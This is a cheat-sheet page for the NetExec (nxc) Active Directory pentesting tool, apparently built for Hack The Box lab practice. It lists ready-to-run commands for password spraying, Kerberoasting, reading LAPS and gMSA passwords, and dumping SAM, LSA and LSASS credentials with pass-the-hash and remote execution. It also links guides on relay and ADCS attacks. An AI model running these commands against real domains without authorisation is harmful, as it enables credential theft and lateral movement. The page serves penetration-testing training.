NetExec (nxc)
NetExec (nxc) is the Active Directory swiss army knife: it validates credentials against many hosts at once, flags with (Pwn3d!) where you are admin, enumerates users and shares, and has modules to dump LSASS, read LAPS or gMSA and collect BloodHound data.
- Platform
- Linux (Python)
- Official site
- github.com/Pennyw0rth/NetExec
- On HTB
- 40 machines
Install
pipx install git+https://github.com/Pennyw0rth/NetExec
- T1110.003 Password Spraying
- T1087.002 Domain Account
- T1135 Network Share Discovery
- T1021.002 SMB/Windows Admin Shares
- T1550.002 Pass the Hash
- T1003.001 LSASS Memory
- T1003.002 Security Account Manager
- T1558.003 Kerberoasting
- T1558.004 AS-REP Roasting
- T1552.006 Group Policy Preferences
- Domain LDAP/RPC enumeration
- Password spraying and valid users
- SMB/NFS enumeration
- Remote execution (WinRM, PsExec, WMI)
- SAM/LSA/LSASS dumping
- Reading LAPS passwords
- gMSA accounts
NetExec (nxc) cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Enumeration
Password policy (before spraying)
nxc smb 10.10.11.20 -u usuario -p 'Password123!' --pass-pol
Domain groups
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --groups
Download everything readable from the shares
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M spider_plus -o DOWNLOAD_FLAG=True
Kerberos and credentials
AS-REP roasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt
Kerberoasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --kerberoasting kerberoast.txt
GPP passwords in SYSVOL
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M gpp_password
Read LAPS
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M laps
Read gMSA passwords
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --gmsa
As an administrator
SAM and LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsa
LSASS with lsassy
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -M lsassy
Run a command
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -x whoami
Commands on MSSQL
nxc mssql 10.10.11.20 -u usuario -p 'Password123!' -x whoami
In our cheatsheets
Windows and Active Directory privilege escalation › Active Directory
Domain and DC name
netexec smb 10.10.11.20
Users by RID (guest session)
netexec smb 10.10.11.20 -u guest -p '' --rid-brute
Check credentials and access
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'
Domain users
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --users
Password spraying
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success
Active Directory in depth › BloodHound
With NetExec, nothing else to install
Attacker
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20
Active Directory in depth › ADCS (ESC1–16)
Enumerate the CA with NetExec
Attacker
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
Active Directory in depth › NTLM relay
Hosts without required SMB signing
Attacker
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt
Nmap and service enumeration › Services
With netexec (null and guest session)
netexec smb 10.10.11.20 -u '' -p '' --shares
netexec smb 10.10.11.20 -u 'guest' -p '' --shares
With credentials
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --shares
No command matches.
HTB machines where NetExec (nxc) is used
Taken from the chapters of IppSec videos where NetExec (nxc) shows up. The ▶ link jumps to the minute of that part.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides that use NetExec (nxc)
- Active Directory enumeration: users, LDAP, BloodHound and password spraying 4 min read What to do when you find a domain controller: enumerate without credentials, get valid users, spray passwords safely and collect BloodHound data.
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
- SMB and NFS enumeration: shares, null sessions and files full of passwords 4 min read Enumerate SMB and NFS with NetExec, smbclient, smbmap and enum4linux-ng, with or without credentials: null sessions, files with passwords and no_root_squash.
- NTLM capture and relay: Responder, ntlmrelayx and coercion with PetitPotam 4 min read Capture NetNTLMv2 hashes with Responder, learn when they can be relayed (SMB signing, LDAP, ADCS), use ntlmrelayx and coerce auth with PetitPotam.
- Kerberoasting and AS-REP Roasting: crackable hashes from Active Directory 3 min read What makes an account vulnerable, how to request the tickets with Impacket, NetExec or Rubeus, how to crack them with hashcat, and the usual errors (clock, etype, usernames).
- Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit 4 min read Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.
- Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync 4 min read What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.
- MSSQL pentesting: xp_cmdshell, impersonation, linked servers and hash theft 3 min read Attack SQL Server in a domain: connect with mssqlclient, run commands with xp_cmdshell, escalate with EXECUTE AS, abuse linked servers and steal hashes.
- Passwords in Active Directory: GPP (Groups.xml), LAPS and gMSA 3 min read Three places where the domain itself stores passwords you can read: cpassword in Groups.xml, the LAPS local admin password and the hash of gMSA accounts.
- ADCS with Certipy: from a vulnerable certificate template to Domain Admin (ESC1 to ESC16) 4 min read Find vulnerable ADCS templates and CAs with Certipy and exploit ESC1, ESC4, ESC7, ESC8, ESC9 and ESC16, with the typical error for each case.